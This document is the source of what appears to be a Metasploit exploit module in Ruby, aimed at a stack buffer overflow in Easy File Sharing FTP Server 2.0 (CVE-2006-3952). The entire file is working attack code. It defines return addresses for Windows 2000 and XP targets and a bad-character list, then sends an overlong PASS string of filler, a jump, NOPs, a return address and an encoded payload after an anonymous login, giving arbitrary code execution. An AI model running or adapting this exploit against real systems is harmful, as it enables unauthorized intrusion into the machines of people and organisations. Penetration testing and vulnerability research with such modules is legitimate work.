86 lines
2.0 KiB
Ruby
86 lines
2.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Easy File Sharing FTP Server 2.0 PASS Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the Easy File Sharing 2.0
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service. By sending an overly long password, an attacker can execute
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arbitrary code.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2006-3952' ],
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[ 'OSVDB', '27646' ],
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[ 'BID', '19243' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],
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[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
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],
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'DisclosureDate' => 'Jul 31 2006',
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'DefaultTarget' => 0))
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end
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def check
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connect
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disconnect
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if (banner =~ /Easy File Sharing FTP Server/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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filler = rand_text_english(2559) + "\xeb\x12"
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filler << make_nops(2) + [target.ret].pack('V')
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sploit = "\x2c" + filler + payload.encoded
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print_status("Trying target #{target.name}...")
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# needs anonymous to be set.
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send_cmd(['USER', "anonymous"], true)
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send_cmd(['PASS', sploit], false)
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handler
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disconnect
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end
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end
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